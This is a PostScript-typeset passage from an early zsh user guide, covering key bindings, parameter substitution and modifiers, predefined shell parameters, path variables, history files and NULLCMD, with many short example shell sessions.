(%b)108 566.8 S(indkey '^?' delete-char)-5.4 E F3(Or)72 583.8 Q 2.25(,y)
-.36 G(ou could bind)-2.25 E F4(^X^H)2.25 E F3(to)2.25 E F2(run-help)
2.25 E F3(:)A F2 5.4(%b)108 600.8 S(indkey '^X^H' run-help)-5.4 E F3
(Other e)72 617.8 Q(xamples:)-.135 E F2 5.4(%b)108 634.8 S
(indkey '^X^Z' universal-argument)-5.4 E 5.4(%b)108 645.8 S
(indkey ' ' magic-space)-5.4 E 5.4(%b)108 656.8 S
(indkey -s '^T' 'uptime)-5.4 E 5.4(>')108 667.8 S 5.4(%b)108 678.8 S
(indkey '^Q' push-line-or-edit)-5.4 E(universal-argument)72 695.8 Q F3
.358(multiplies the ne)2.608 F .358(xt command by 4.)-.135 F(Thus)4.858
E F4(^X^Z^W)2.608 E F3 .358(might delete the last four w)2.608 F .358
(ords on the line.)-.09 F .359(If you)4.859 F(bind space to)72 706.8 Q
F2(magic-space)2.25 E F3 2.25(,t)C(hen csh-style history e)-2.25 E
(xpansion is done on the line whene)-.135 E -.135(ve)-.225 G 2.25(ry)
.135 G(ou press the space bar)-2.25 E(.)-.495 E 0 Cg EP
%%Page: 28 30
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-28-)297.67 48 Q .486(Something that often happ\
ens is that I am typing a multiline command and disco)72 84 R -.15(ve)
-.15 G 2.985(ra).15 G 2.985(ne)-2.985 G .485(rror in one of the pre)
-2.985 F(vious)-.25 E 2.979(lines. In)72 96 R .479(this case,)2.979 F/F1
10/Courier@0 SF(push-line-or-edit)2.979 E F0 .479
(will put the entire multiline construct into the editor b)2.979 F(uf)
-.2 E(fer)-.25 E 5.48(.I)-.55 G 2.98(ft)-5.48 G .48(here is)-2.98 F
(only a single line, it is equi)72 108 Q -.25(va)-.25 G(lent to).25 E F1
(push-line)2.5 E F0(.)A(The)72 123.6 Q F1(-s)3.27 E F0 .77(\215ag to)
3.27 F F1(bindkey)3.27 E F0 .77(speci\214es that you are binding the k)
3.27 F 1.069 -.15(ey t)-.1 H 3.269(oas).15 G .769(tring, not a command.)
-3.269 F(Thus)5.769 E F1 .769(bindkey -s)3.269 F('^T' 'uptime\\n')72
135.6 Q F0(lets you VMS lo)2.5 E -.15(ve)-.15 G(rs get the load a).15 E
-.15(ve)-.2 G(rage whene).15 E -.15(ve)-.25 G 2.5(ry).15 G(ou press)-2.5
E/F2 10/Times-Italic@0 SF(^T)2.5 E F0(.)A .005(If you ha)72 151.2 R .305
-.15(ve a N)-.2 H .005(eXT k).15 F -.15(ey)-.1 G .005
(board, the one with the).15 F F1(|)2.505 E F0(and)2.505 E F1(\\)2.505 E
F0 -.1(ke)2.505 G .005(ys v)-.05 F .005(ery incon)-.15 F -.15(ve)-.4 G
.005(niently placed, the follo).15 F .005(wing bindings may)-.25 F
(come in handy:)72 163.2 Q/F3 9/Courier@0 SF 5.4(%b)108 180.2 S
(indkey -s '\\e/' '\\\\')-5.4 E 5.4(%b)108 191.2 S(indkey -s '\\e=' '|')
-5.4 E/F4 9/Times-Roman@0 SF(No)72 208.2 Q 2.305(wy)-.225 G .055
(ou can type)-2.305 F/F5 9/Times-Italic@0 SF(AL)2.305 E -.666(T-)-.18 G
(/).666 E F4 .055(to get a backslash, and)2.305 F F5(AL)2.305 E -.666
(T-)-.18 G(=).666 E F4 .055(to get a v)2.305 F .055(ertical bar)-.135 F
4.555(.T)-.495 G .055(his only w)-4.555 F .054(orks inside)-.09 F/F6 9
/Times-Bold@0 SF(zsh)2.304 E F4 2.304(,o)C 2.304(fc)-2.304 G(ourse;)
-2.304 E F3(bindkey)2.304 E F4(has)2.304 E(no ef)72 219.2 Q
(fect on the k)-.225 E .27 -.135(ey m)-.09 H(appings inside).135 E F3
(talk)2.25 E F4(or)2.25 E F3(mail)2.25 E F4 2.25(,e)C(tc.)-2.25 E F0
.103(Some people lik)72 234.8 R 2.603(et)-.1 G 2.603(ob)-2.603 G(ind)
-2.603 E F1(^S)2.603 E F0(and)2.603 E F1(^Q)2.603 E F0 .103
(to editor commands.)2.603 F .103(Just binding these has no ef)5.103 F
.104(fect, as the terminal will catch)-.25 F .542
(them and use them for \215o)72 246.8 R 3.042(wc)-.25 G 3.042(ontrol. Y)
-3.042 F .541(ou could unset them as stop and start characters, b)-1.1 F
.541(ut most people lik)-.2 F 3.041(et)-.1 G 3.041(ou)-3.041 G(se)-3.041
E .053(these for e)72 258.8 R .054(xternal commands.)-.15 F .054
(The solution is to set the)5.054 F F2(NOFLO)2.554 E(WCONTR)-.5 E(OL)-.4
E F0 2.554(option. This)2.554 F .054(will allo)2.554 F 2.554(wy)-.25 G
.054(ou to bind the)-2.554 F(start and stop characters to editor comman\
ds, while retaining their normal use for e)72 270.8 Q(xternal commands.)
-.15 E/F7 10/Times-Bold@0 SF -.1(Pa)72 294.8 S(rameter Substitution).1 E
F0(In)72 310.4 Q F7(zsh)2.5 E F0 2.5(,p)C(arameters are set lik)-2.5 E
2.5(et)-.1 G(his:)-2.5 E F3 5.4(%f)108 327.4 S(oo=bar)-5.4 E 5.4(%e)108
338.4 S(cho $foo)-5.4 E(bar)108 349.4 Q F4(Spaces before or after the)72
366.4 Q F3(=)2.25 E F4(are fro)2.25 E(wned upon:)-.225 E F3 5.4(%f)108
383.4 S(oo = bar)-5.4 E(zsh: command not found: foo)108 394.4 Q F4
(Also,)72 411.4 Q F3(set)2.25 E F4(doesn')2.25 E 2.25(tw)-.162 G
(ork for setting parameters:)-2.34 E F3 5.4(%s)108 428.4 S(et foo=bar)
-5.4 E 5.4(%s)108 439.4 S(et foo = bar)-5.4 E 5.4(%e)108 450.4 S
(cho $foo)-5.4 E(%)108 472.4 Q F4 .125(Note that no error message w)72
489.4 R .125(as printed.)-.09 F .124
(This is because both of these commands were perfectly v)4.624 F .124
(alid; the)-.225 F F3(set)2.374 E F4 -.18(bu)2.374 G .124
(iltin assigns its).18 F(ar)72 500.4 Q(guments to the)-.162 E F5
(positional par)2.25 E(ameter)-.135 E(s)-.09 E F4(\()2.25 E F3($1)A F4
(,)A F3($2)2.25 E F4 2.25(,e)C(tc.\).)-2.25 E F3 5.4(%s)108 517.4 S
(et foo=bar)-5.4 E 5.4(%e)108 528.4 S(cho $1)-5.4 E(foo=bar)108 539.4 Q
5.4(%s)108 550.4 S(et foo = bar)-5.4 E 5.4(%e)108 561.4 S(cho $3 $2)-5.4
E(bar =)108 572.4 Q F4(If you')72 589.4 Q
(re really intent on using the csh syntax, de\214ne a function lik)-.45
E 2.25(et)-.09 G(his:)-2.25 E F3 5.4(%s)108 606.4 S(et \(\) {)-5.4 E
21.6(>e)108 617.4 S(val "$1$2$3")-21.6 E 5.4(>})108 628.4 S 5.4(%s)108
639.4 S(et foo = bar)-5.4 E 5.4(%s)108 650.4 S(et fuu=brrr)-5.4 E 5.4
(%e)108 661.4 S(cho $foo $fuu)-5.4 E(bar brrr)108 672.4 Q F4 .587
(But then, of course you can')72 689.4 R 2.838(tu)-.162 G .588
(se the form of)-2.838 F F3(set)2.838 E F4 .588(with options, lik)2.838
F(e)-.09 E F3 .588(set -F)2.838 F F4 .588(\(which turns of)2.838 F 2.838
<668c>-.225 G .588(lename generation\).)-2.838 F .588(Also, the)5.088 F
F3(set)72 700.4 Q F4(command by itself w)2.25 E(on')-.09 E 2.25(tl)-.162
G(ist all the parameters lik)-2.25 E 2.25(ei)-.09 G 2.25(ts)-2.25 G 2.25
(hould. T)-2.25 F 2.25(og)-.72 G(et around that you need a)-2.25 E F3
(case)2.25 E F4(statement:)2.25 E 0 Cg EP
%%Page: 29 31
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-29-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%s)108 83
S(et \(\) {)-5.4 E 21.6(>c)108 94 S(ase $1 in)-21.6 E 21.6(>-)108 105 S
(*|+*|''\) builtin set $* ;;)-21.6 E 21.6(>*)108 116 S 5.4(\)e)-21.6 G
(val "$1$2$3" ;;)-5.4 E 21.6(>e)108 127 S(sac)-21.6 E 5.4(>})108 138 S
/F2 9/Times-Roman@0 SF -.135(Fo)72 155 S 2.25(rt).135 G
(he most part, this should mak)-2.25 E 2.25(ec)-.09 G(sh users happ)
-2.25 E -.585(y.)-.09 G F0(The follo)72 170.6 Q
(wing sh-style operators are supported in)-.25 E/F3 10/Times-Bold@0 SF
(zsh)2.5 E F0(:)A F1 5.4(%u)108 187.6 S(nset null)-5.4 E 5.4(%e)108
198.6 S(cho ${foo-xxx})-5.4 E(bar)108 209.6 Q 5.4(%e)108 220.6 S
(cho ${null-xxx})-5.4 E(xxx)108 231.6 Q 5.4(%u)108 242.6 S(nset null)
-5.4 E 5.4(%e)108 253.6 S(cho ${null=xxx})-5.4 E(xxx)108 264.6 Q 5.4(%e)
108 275.6 S(cho $null)-5.4 E(xxx)108 286.6 Q 5.4(%e)108 297.6 S
(cho ${foo=xxx})-5.4 E(bar)108 308.6 Q 5.4(%e)108 319.6 S(cho $foo)-5.4
E(bar)108 330.6 Q 5.4(%u)108 341.6 S(nset null)-5.4 E 5.4(%e)108 352.6 S
(cho ${null+set})-5.4 E 5.4(%e)108 374.6 S(cho ${foo+set})-5.4 E(set)108
385.6 Q F2(Also, csh-style)72 402.6 Q F1(:)2.25 E F2
(modi\214ers may be appended to a parameter substitution.)2.25 E F1 5.4
(%e)108 419.6 S(cho $PWD)-5.4 E(/home/learning/pf/zsh/zsh2.00/src)108
430.6 Q 5.4(%e)108 441.6 S(cho $PWD:h)-5.4 E
(/home/learning/pf/zsh/zsh2.00)108 452.6 Q 5.4(%e)108 463.6 S
(cho $PWD:h:h)-5.4 E(/home/learning/pf/zsh)108 474.6 Q 5.4(%e)108 485.6
S(cho $PWD:t)-5.4 E(src)108 496.6 Q 5.4(%n)108 507.6 S(ame=foo.c)-5.4 E
5.4(%e)108 518.6 S(cho $name)-5.4 E(foo.c)108 529.6 Q 5.4(%e)108 540.6 S
(cho $name:r)-5.4 E(foo)108 551.6 Q 5.4(%e)108 562.6 S(cho $name:e)-5.4
E(c)108 573.6 Q F2 .116(The equi)72 590.6 R -.225(va)-.225 G .116
(lent constructs in ksh \(which are also supported in).225 F/F4 9
/Times-Bold@0 SF(zsh)2.366 E F2 2.366(\)a)C .116
(re a bit more general and easier to remember)-2.366 F 4.615(.W)-.495 G
.115(hen the shell)-4.615 F -.135(ex)72 601.6 S(pands).135 E F1(${foo#)
2.354 E/F5 9/Times-Italic@0 SF(pat)A F1(})A F2 2.354(,i)C 2.354(tc)
-2.354 G .104(hecks to see if)-2.354 F F5(pat)2.354 E F2 .104
(matches a substring at the be)2.354 F .104(ginning of the v)-.135 F
.104(alue of)-.225 F F1(foo)2.354 E F2 4.605(.I)C 2.355(fs)-4.605 G .105
(o, it remo)-2.355 F -.135(ve)-.135 G 2.355(st).135 G .105(hat por)
-2.355 F(-)-.18 E .482(tion of)72 612.6 R F1(foo)2.732 E F2 2.732(,u)C
.482(sing the shortest possible match.)-2.732 F -.36(Wi)4.982 G(th).36 E
F1(${foo##)2.732 E F5(pat)A F1(})A F2 2.732(,t)C .482
(he longest possible match is remo)-2.732 F -.135(ve)-.135 G(d.).135 E
F1(${foo%)4.981 E F5(pat)A F1(})A F2(and)2.731 E F1(${foo%%)72 623.6 Q
F5(pat)A F1(})A F2(remo)2.25 E .27 -.135(ve t)-.135 H
(he match from the end.).135 E(Here are the ksh equi)4.5 E -.225(va)
-.225 G(lents of the).225 E F1(:)2.25 E F2(modi\214ers:)2.25 E 0 Cg EP
%%Page: 30 32
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-30-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%e)108 83
S(cho ${PWD%/*})-5.4 E(/home/learning/pf/zsh/zsh2.00)108 94 Q 5.4(%e)108
105 S(cho ${PWD%/*/*})-5.4 E(/home/learning/pf/zsh)108 116 Q 5.4(%e)108
127 S(cho ${PWD##*/})-5.4 E(src)108 138 Q 5.4(%e)108 149 S
(cho ${name%.*})-5.4 E(foo)108 160 Q 5.4(%e)108 171 S(cho ${name#*.})
-5.4 E(c)108 182 Q/F2 9/Times-Bold@0 SF(zsh)72 199 Q/F3 9/Times-Roman@0
SF(also has upper/lo)2.25 E(wercase modi\214ers:)-.225 E F1 5.4(%x)108
216 S(x=Test)-5.4 E 5.4(%e)108 227 S(cho $xx:u)-5.4 E(TEST)108 238 Q 5.4
(%e)108 249 S(cho $xx:l)-5.4 E(test)108 260 Q F3
(and a substitution modi\214er:)72 277 Q F1 5.4(%e)108 294 S
(cho $name:s/foo/bar/)-5.4 E(bar.c)108 305 Q 5.4(%l)108 316 S(s)-5.4 E
16.2(foo.c foo.h foo.o foo.pro)108 327 R 5.4(%f)108 338 S
(or i in foo.*; mv $i $i:s/foo/bar/)-5.4 E 5.4(%l)108 349 S(s)-5.4 E
16.2(bar.c bar.h bar.o bar.pro)108 360 R F3 1.059
(There is yet another syntax to modify substituted parameters.)72 377 R
-.99(Yo)5.559 G 3.31(uc).99 G 1.06
(an add certain modi\214ers in parentheses after the opening)-3.31 F
(brace lik)72 388 Q(e:)-.09 E F1(${\()108 405 Q/F4 9/Times-Italic@0 SF
(modi\214er)A(s)-.09 E F1(\))A F4(par)A(ameter)-.135 E F1(})A F3 -.135
(Fo)72 422 S 2.25(re).135 G(xample,)-2.385 E F1(o)2.25 E F3(sorts the w)
2.25 E(ords resulting from the e)-.09 E(xpansion:)-.135 E F1 5.4(%e)108
439 S(cho ${path})-5.4 E(/usr/bin /usr/bin/X11 /etc)108 450 Q 5.4(%e)108
461 S(cho ${\(o\)path})-5.4 E(/etc /usr/bin /usr/bin/X11)108 472 Q F3
.107(One possible source of confusion is the f)72 489 R .107
(act that in)-.09 F F2(zsh)2.357 E F3 2.356(,t)C .106
(he result of parameter substitution is)-2.356 F F4(not)2.356 E F3 .106
(split into w)2.356 F 2.356(ords. Thus,)-.09 F .106(this will)2.356 F
(not w)72 500 Q(ork:)-.09 E F1 5.4(%s)108 517 S
(rcs='glob.c exec.c init.c')-5.4 E 5.4(%l)108 528 S 5.4(s$)-5.4 G(srcs)
-5.4 E(glob.c exec.c init.c not found)108 539 Q F3 .059
(This is considered a feature, not a b)72 556 R 2.309(ug. If)-.18 F .059
(splitting were done by def)2.309 F .06
(ault, as it is in most other shells, functions lik)-.09 F 2.31(et)-.09
G .06(his w)-2.31 F .06(ould not)-.09 F -.09(wo)72 567 S(rk properly:)
.09 E F1 5.4($l)108 584 S 5.4(l\()-5.4 G 5.4(\){l)-5.4 G 5.4(s-)-5.4 G
5.4(F$)-5.4 G 5.4(*})-5.4 G 5.4($l)108 595 S 5.4(l')-5.4 G(fuu bar')-5.4
E(fuu not found)108 606 Q(bar not found)108 617 Q 5.4(%l)108 639 S 5.4
(l')-5.4 G(fuu bar')-5.4 E(fuu bar not found)108 650 Q F3
(Of course, a hackish w)72 667 Q(orkaround is a)-.09 E -.225(va)-.18 G
(ilable in sh \(and).225 E F2(zsh)2.25 E F3(\):)A F1 5.4(%s)108 684 S
(etopt shwordsplit)-5.4 E 5.4(%l)108 695 S 5.4(l\()-5.4 G 5.4(\){l)-5.4
G 5.4(s-)-5.4 G 5.4(F")-5.4 G($@" })-5.4 E 5.4(%l)108 706 S 5.4(l')-5.4
G(fuu bar')-5.4 E(fuu bar not found)108 717 Q 0 Cg EP
%%Page: 31 33
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-31-)297.67 48 Q/F1 9/Times-Roman@0 SF
(If you lik)72 83 Q 2.25(et)-.09 G(he sh beha)-2.25 E(viour)-.18 E(,)
-.36 E/F2 9/Times-Bold@0 SF(zsh)2.25 E F1(can accomodate you:)2.25 E/F3
9/Courier@0 SF 5.4(%l)108 100 S 5.4(s$)-5.4 G({=srcs})-5.4 E 5.4
(exec.c glob.c init.c)108 111 R 5.4(%s)108 122 S(etopt shwordsplit)-5.4
E 5.4(%l)108 133 S 5.4(s$)-5.4 G(srcs)-5.4 E 5.4(exec.c glob.c init.c)
108 144 R F1(Another w)72 161 Q(ay to get the)-.09 E F3($srcs)2.25 E F1
(trick to w)2.25 E(ork is to use an array:)-.09 E F3 5.4(%u)108 178 S
(nset srcs)-5.4 E 5.4(%s)108 189 S(rcs=\( glob.c exec.c init.c \))-5.4 E
5.4(%l)108 200 S 5.4(s$)-5.4 G(srcs)-5.4 E 5.4(exec.c glob.c init.c)108
211 R F1(or an alias:)72 228 Q F3 5.4(%a)108 245 S
(lias -g SRCS='exec.c glob.c init.c')-5.4 E 5.4(%l)108 256 S 5.4(sS)-5.4
G(RCS)-5.4 E 5.4(exec.c glob.c init.c)108 267 R F1
(Another option that modi\214es parameter e)72 284 Q(xpansion is)-.135 E
/F4 9/Times-Italic@0 SF(RCEXP)2.25 E(ANDP)-.81 E(ARAM)-.81 E F1(:)A F3
5.4(%e)108 301 S(cho foo/$srcs)-5.4 E(foo/glob.c exec.c init.c)108 312 Q
5.4(%s)108 323 S(etopt rcexpandparam)-5.4 E 5.4(%e)108 334 S
(cho foo/$srcs)-5.4 E(foo/glob.c foo/exec.c foo/init.c)108 345 Q 5.4(%e)
108 356 S(cho foo/${^srcs})-5.4 E(foo/glob.c foo/exec.c foo/init.c)108
367 Q 5.4(%e)108 378 S(cho foo/$^srcs)-5.4 E
(foo/glob.c foo/exec.c foo/init.c)108 389 Q/F5 10/Times-Bold@0 SF
(Shell P)72 419 Q(arameters)-.1 E F0(The shell has man)72 434.6 Q 2.5
(yp)-.15 G(rede\214ned parameters that may be accessed.)-2.5 E
(Here are some e)5 E(xamples:)-.15 E F3 5.4(%s)108 451.6 S(leep 10 &)
-5.4 E([1] 3820)108 462.6 Q 5.4(%e)108 473.6 S(cho $!)-5.4 E(3820)108
484.6 Q 5.4(%s)108 495.6 S(et a b c)-5.4 E 5.4(%e)108 506.6 S(cho $#)
-5.4 E(3)108 517.6 Q 5.4(%e)108 528.6 S(cho $ARGC)-5.4 E(3)108 539.6 Q
5.4(%\(e)108 550.6 S(xit 20 \) ; echo $?)-5.4 E(20)108 561.6 Q 5.4(%f)
108 572.6 S(alse; echo $status)-5.4 E(1)108 583.6 Q F1(\()72 600.6 Q F3
($?)A F1(and)2.25 E F3($status)2.25 E F1(are equi)2.25 E -.225(va)-.225
G(lent.\)).225 E F3 5.4(%e)108 617.6 S(cho $HOST $HOSTTYPE)-5.4 E
(dendrite sun4)108 628.6 Q 5.4(%e)108 639.6 S(cho $UID $GID)-5.4 E
(701 60)108 650.6 Q 5.4(%c)108 661.6 S 5.4(d/)-5.4 G(tmp)-5.4 E 5.4(%c)
108 672.6 S 5.4(d/)-5.4 G(home)-5.4 E 5.4(%e)108 683.6 S
(cho $PWD $OLDPWD)-5.4 E(/home /tmp)108 694.6 Q 5.4(%l)108 705.6 S 5.4
(s$)-5.4 G(OLDPWD/.getwd)-5.4 E(/tmp/.getwd)108 716.6 Q 0 Cg EP
%%Page: 32 34
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-32-)297.67 48 Q/F1 9/Courier@0 SF(~+)72 83 Q/F2
9/Times-Roman@0 SF(and)2.25 E F1(~-)2.25 E F2(are short for)2.25 E F1
($PWD)2.25 E F2(and)2.25 E F1($OLDPWD)2.25 E F2 2.25(,r)C(especti)-2.25
E -.135(ve)-.225 G(ly).135 E(.)-.585 E F1 5.4(%l)108 100 S 5.4(s~)-5.4 G
(-/.getwd)-5.4 E(/tmp/.getwd)108 111 Q 5.4(%l)108 122 S 5.4(s-)-5.4 G
5.4(d~)-5.4 G(+/learning)-5.4 E(/home/learning)108 133 Q 5.4(%e)108 144
S(cho $RANDOM)-5.4 E(4880)108 155 Q 5.4(%e)108 166 S(cho $RANDOM)-5.4 E
(11785)108 177 Q 5.4(%e)108 188 S(cho $RANDOM)-5.4 E(2062)108 199 Q 5.4
(%e)108 210 S(cho $TTY)-5.4 E(/dev/ttyp4)108 221 Q 5.4(%e)108 232 S
(cho $VERSION)-5.4 E(zsh v2.00.03)108 243 Q 5.4(%e)108 254 S
(cho $USERNAME)-5.4 E(pf)108 265 Q F0(The)72 286.6 Q/F3 10/Courier@0 SF
(cdpath)2.62 E F0 -.25(va)2.62 G .12
(riable sets the search path for the).25 F F3(cd)2.62 E F0 2.62
(command. If)2.62 F .119(you do not specify)2.62 F F3(.)2.619 E F0(some)
2.619 E .119(where in the path, it is)-.25 F
(assumed to be the \214rst component.)72 298.6 Q F1 5.4(%c)108 315.6 S
(dpath=\( /usr ~ ~/zsh \))-5.4 E 5.4(%l)108 326.6 S 5.4(s/)-5.4 G(usr)
-5.4 E 43.2(5bin dict lang net)108 337.6 R 43.2(sccs sys)54 F 21.6
(5include etc)108 348.6 R 32.4(lector nserve services)54 F(tmp)27 E 43.2
(5lib export)108 359.6 R 48.6(lib oed share)37.8 F(ucb)43.2 E 48.6
(adm games)108 370.6 R 37.8(local old)43.2 F 43.2(skel ucbinclude)54 F
48.6(bin geac)108 381.6 R 10.8(lost+found openwin)48.6 F 37.8
(spool ucblib)32.4 F 43.2(boot hosts)108 392.6 R 5.4(macsyma_417 pat)
43.2 F 48.6(src xpg2bin)54 F 43.2(demo include)108 403.6 R 48.6
(man princeton)32.4 F 37.8(stand xpg2include)21.6 F 43.2(diag kvm)108
414.6 R 43.2(mdec pub)54 F 43.2(swap xpg2lib)54 F 5.4(%c)108 425.6 S 5.4
(ds)-5.4 G(pool)-5.4 E(/usr/spool)108 436.6 Q 5.4(%c)108 447.6 S 5.4(db)
-5.4 G(in)-5.4 E(/usr/bin)108 458.6 Q 5.4(%c)108 469.6 S 5.4(df)-5.4 G
(unc)-5.4 E(~/func)108 480.6 Q 5.4(%c)108 491.6 S(d)-5.4 E 5.4(%c)108
502.6 S 5.4(dp)-5.4 G(ub)-5.4 E 5.4(%p)108 513.6 S(wd)-5.4 E
(/u/pfalstad/pub)108 524.6 Q 5.4(%l)108 535.6 S 5.4(s-)-5.4 G 5.4(d/)
-5.4 G(usr/pub)-5.4 E(/usr/pub)108 546.6 Q/F4 9/Times-Bold@0 SF -.666
(PA)72 563.6 S(TH)-.189 E F2(and)2.38 E F4(path)2.38 E F2 .13
(both set the search path for commands.)2.38 F .13(These tw)4.63 F 2.38
(ov)-.09 G .13(ariables are equi)-2.605 F -.225(va)-.225 G .13(lent, e)
.225 F .131(xcept that one is a string and one is)-.135 F(an array)72
574.6 Q 4.5(.I)-.585 G 2.25(ft)-4.5 G(he user modi\214es)-2.25 E F4
-.666(PA)2.25 G(TH)-.189 E F2 2.25(,t)C(he shell changes)-2.25 E F4
(path)2.25 E F2(as well, and vice v)2.25 E(ersa.)-.135 E F1 5.4(%P)108
591.6 S(ATH=/bin:/usr/bin:/tmp:.)-5.4 E 5.4(%e)108 602.6 S(cho $path)
-5.4 E(/bin /usr/bin /tmp .)108 613.6 Q 5.4(%p)108 624.6 S
(ath=\( /usr/bin . /usr/bin /usr/ucb \))-5.4 E 5.4(%e)108 635.6 S
(cho $PATH)-5.4 E(/usr/bin:.:/usr/bin:/usr/ucb)108 646.6 Q F2
(The same is true of)72 663.6 Q F4(CDP)2.25 E -.855(AT)-.666 G(H).855 E
F2(and)2.25 E F4(cdpath)2.25 E F2(:)A 0 Cg EP
%%Page: 33 35
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-33-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%e)108 83
S(cho $CDPATH)-5.4 E(/usr:/u/pfalstad:/u/pfalstad/zsh)108 94 Q 5.4(%C)
108 105 S(DPATH=/u/subbarao:/usr/src:/tmp)-5.4 E 5.4(%e)108 116 S
(cho $cdpath)-5.4 E(/u/subbarao /usr/src /tmp)108 127 Q/F2 9
/Times-Roman@0 SF
(In general, prede\214ned parameters with names in all lo)72 144 Q
(wercase are arrays; assignments to them tak)-.225 E 2.25(et)-.09 G
(he form:)-2.25 E/F3 9/Times-Italic@0 SF(name)108 161 Q F1(=\()A F3
(elem)4.5 E F2(...)4.5 E F1(\))4.5 E F2 .307
(Prede\214ned parameters with names in all uppercase are strings.)72 178
R .307(If there is both an array and a string v)4.807 F .306
(ersion of the same parame-)-.135 F(ter)72 189 Q 2.25(,t)-.36 G
(he string v)-2.25 E(ersion is a colon-separated list, lik)-.135 E(e)
-.09 E/F4 9/Times-Bold@0 SF -.666(PA)2.25 G(TH)-.189 E F2 2.25(.Y)C
(ou can use)-3.24 E F1 5.4(%t)108 206 S(ypeset -T FOO foo)-5.4 E F2
(to create more of these yourself.)72 223 Q F1 5.4(%f)108 240 S
(oo=\( a b c \))-5.4 E 5.4(%e)108 251 S(cho $FOO)-5.4 E(a:b:c)108 262 Q
/F5 10/Times-Bold@0 SF(HISTFILE)72 283.6 Q F0
(is the name of the history \214le, where the history is sa)2.5 E -.15
(ve)-.2 G 2.5(dw).15 G(hen a shell e)-2.5 E(xits.)-.15 E F1 5.4(%z)108
300.6 S(sh)-5.4 E(phoenix% HISTFILE=/tmp/history)108 311.6 Q
(phoenix% SAVEHIST=20)108 322.6 Q(phoenix% echo foo)108 333.6 Q(foo)108
344.6 Q(phoenix% date)108 355.6 Q(Fri May 24 05:39:35 EDT 1991)108 366.6
Q(phoenix% uptime)108 377.6 Q 5.4(5:39am up)118.8 388.6 R 5.4(4d)5.4 G
(ays, 20:02,)-5.4 E(40 users,)10.8 E(load average: 2.30, 2.20, 2.00)10.8
E(phoenix% exit)108 399.6 Q 5.4(%c)108 410.6 S(at /tmp/history)-5.4 E
(HISTFILE=/tmp/history)108 421.6 Q(SAVEHIST=20)108 432.6 Q(echo foo)108
443.6 Q(date)108 454.6 Q(uptime)108 465.6 Q(exit)108 476.6 Q 5.4(%H)108
487.6 S(ISTSIZE=3)-5.4 E 5.4(%h)108 498.6 S(istory)-5.4 E 5.4(28 rm)
124.2 509.6 R(/tmp/history)5.4 E 5.4(29 HISTSIZE=3)124.2 520.6 R 5.4
(30 history)124.2 531.6 R F2 .687(If you ha)72 548.6 R .957 -.135(ve s)
-.18 H -1.935 -.225(ev e).135 H .687(ral instances of).225 F F4(zsh)
2.937 E F2 .687(running at the same time, lik)2.937 F 2.937(ew)-.09 G
.687(hen using the X windo)-2.937 F 2.937(ws)-.225 G .688
(ystem, it might be preferable to)-2.937 F .095
(append the history of each shell to a \214le when a shell e)72 559.6 R
.094(xits instead of o)-.135 F -.135(ve)-.135 G .094
(rwriting the old contents of the \214le.).135 F -.99(Yo)4.594 G 2.344
(uc).99 G .094(an get this be-)-2.344 F(ha)72 570.6 Q
(viour by setting the)-.18 E F3(APPENDHIST)2.25 E(OR)-.162 E(Y)-.162 E
F2(option.)2.25 E F0(In)72 586.2 Q F5(zsh)2.5 E F0 2.5(,i)C 2.5(fy)-2.5
G(ou say)-2.5 E F1 5.4(%>)108 603.2 S(file)-5.4 E F2(the command)72
620.2 Q F1(cat)2.25 E F2(is normally assumed:)2.25 E F1 5.4(%>)108 637.2
S(file)-5.4 E(foo!)108 648.2 Q(^D)108 659.2 Q 5.4(%c)108 670.2 S
(at file)-5.4 E(foo!)108 681.2 Q F2(Thus, you can vie)72 698.2 Q 2.25
(wa\214)-.225 G(le simply by typing:)-2.25 E 0 Cg EP
%%Page: 34 36
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-34-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%<)108 83
S(file)-5.4 E(foo!)108 94 Q/F2 9/Times-Roman@0 SF(Ho)72 111 Q(we)-.225 E
-.135(ve)-.225 G 1.78 -.36(r, t).135 H 1.06
(his is not csh or sh compatible.).36 F 2.5 -.72(To c)5.56 H 1.06
(orrect this, change the v).72 F 1.06(alue of the parameter)-.225 F/F3 9
/Times-Bold@0 SF(NULLCMD)3.311 E F2 3.311(,w)C 1.061(hich is)-3.311 F F1
(cat)3.311 E F2(by)3.311 E(def)72 122 Q(ault.)-.09 E F1 5.4(%N)108 139 S
(ULLCMD=:)-5.4 E 5.4(%>)108 150 S(file)-5.4 E 5.4(%l)108 161 S 5.4(s-)
-5.4 G 5.4(lf)-5.4 G(ile)-5.4 E 5.4(-rw-r--r-- 1)108 172 R 37.8
(pfalstad 0)5.4 F(May 24 05:41 file)5.4 E F2(If)72 189 Q F1(NULLCMD)2.25
E F2(is unset, the shell reports an error if no command is speci\214ed \
\(lik)2.25 E 2.25(ec)-.09 G(sh\).)-2.25 E F1 5.4(%u)108 206 S
(nset NULLCMD)-5.4 E 5.4(%>)108 217 S(file)-5.4 E
(zsh: redirection with no command)108 228 Q F2(Actually)72 245 Q(,)-.585
E F3(READNULLCMD)3.254 E F2 1.004(is used whene)3.254 F -.135(ve)-.225 G
3.254(ry).135 G 1.004(ou ha)-3.254 F 1.274 -.135(ve a n)-.18 H 1.004
(ull command reading input from a single \214le.).135 F 1.003
(Thus, you can set)5.503 F F3(READNULLCMD)72 256 Q F2(to)2.42 E F1(more)
2.42 E F2(or)2.42 E F1(less)2.42 E F2 .17(rather than)2.42 F F1(cat)2.42
E F2 4.67(.A)C .17(lso, if you set)-4.67 F F3(NULLCMD)2.42 E F2(to)2.42
E F1(:)2.42 E F2 .17(for sh compatibility)2.42 F 2.42(,y)-.585 G .171
(ou can still read)-2.42 F(\214les with)72 267 Q F1 5.4(<f)2.25 G(ile)
-5.4 E F2(if you lea)2.25 E -.135(ve)-.18 G F3(READNULLCMD)2.385 E F2
(set to)2.25 E F1(more)2.25 E F2(.)A/F4 10/Times-Bold@0 SF(Pr)72 291 Q
(ompting)-.18 E F0(The def)72 306.6 Q(ault prompt for)-.1 E F4(zsh)2.5 E
